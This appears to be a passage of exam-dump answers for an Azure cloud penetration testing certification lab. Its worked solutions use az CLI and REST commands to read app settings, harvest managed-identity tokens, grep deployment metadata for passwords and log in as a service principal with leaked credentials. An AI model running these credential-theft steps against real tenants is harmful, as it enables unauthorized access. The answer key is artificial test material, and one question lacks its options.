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| Section | Objectives |
|---|---|
| Topic 1: Azure Active Directory (Entra ID) Attacks | - Privilege escalation in Entra ID - Misconfiguration exploitation in identity services |
| Topic 2: Azure Cloud Attack Surface & Reconnaissance | - Identity and tenant reconnaissance (Entra ID) - Azure environment enumeration and asset discovery |
| Topic 3: Azure Infrastructure Exploitation | - Virtual machine compromise and lateral movement - Network security group and virtual network abuse |
| Topic 4: Azure Storage & Data Exfiltration | - Blob storage misconfiguration exploitation - Sensitive data discovery and extraction |
| Topic 5: Cloud Attack Chains & Real-World Scenarios | - Flag-based CTF-style objective completion - Multi-stage exploitation paths in Azure environments |
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NEW QUESTION # 17
During App Service enumeration, you discover that the compromised user can read App Service application settings. Find the hidden flag stored in the application settings.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Flag{app_settings_should_not_store_secrets}
Detailed Solution:
Query App Service settings:
az webapp config appsettings list \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--output json
Search for suspicious keys:
az webapp config appsettings list \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \
--output table
Expected output:
Name SlotSetting Value
---------- ------------- ----------------------------------------
APP_FLAG False Flag{app_settings_should_not_store_secrets}
The flag is:
Flag{app_settings_should_not_store_secrets}
NEW QUESTION # 18
A compromised principal has permission to list role assignments. Identify which user has the User Access Administrator role at the resource group scope.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
olivia.admin@cloudcorpsec.onmicrosoft.com
Detailed Solution:
Run:
az role assignment list \
--resource-group rg-prod-apps-eastus \
--all \
--output table
Or filter by role:
az role assignment list \
--resource-group rg-prod-apps-eastus \
--role " User Access Administrator " \
--query " [].{Principal:principalName,Role:roleDefinitionName,Scope:scope} " \
--output table
Expected output:
Principal Role Scope
------------------------------------- ------------------------- ---------------------------- olivia.admin@cloudcorpsec.onmicrosoft.com User Access Administrator /subscriptions/.../rg-prod-apps-eastus Final answer:
olivia.admin@cloudcorpsec.onmicrosoft.com
NEW QUESTION # 19
Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors. Which of the following roles is assigned to the App Registration?
Answer: A
NEW QUESTION # 20
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
sumit.siddharth@azuresecops.onmicrosoft.com
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
NEW QUESTION # 21
Authenticate to Azure as a service principal using the credentials found in backup-config.json.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Use az login --service-principal
Detailed Solution:
Command:
az login --service-principal \
-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
-p ' < client-secret > ' \
--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a
Verify:
az account show --output json
Expected important field:
{
" user " : {
" name " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,
" type " : " servicePrincipal "
}
}
This confirms you are authenticated as the App Registration/service principal.
NEW QUESTION # 22
......
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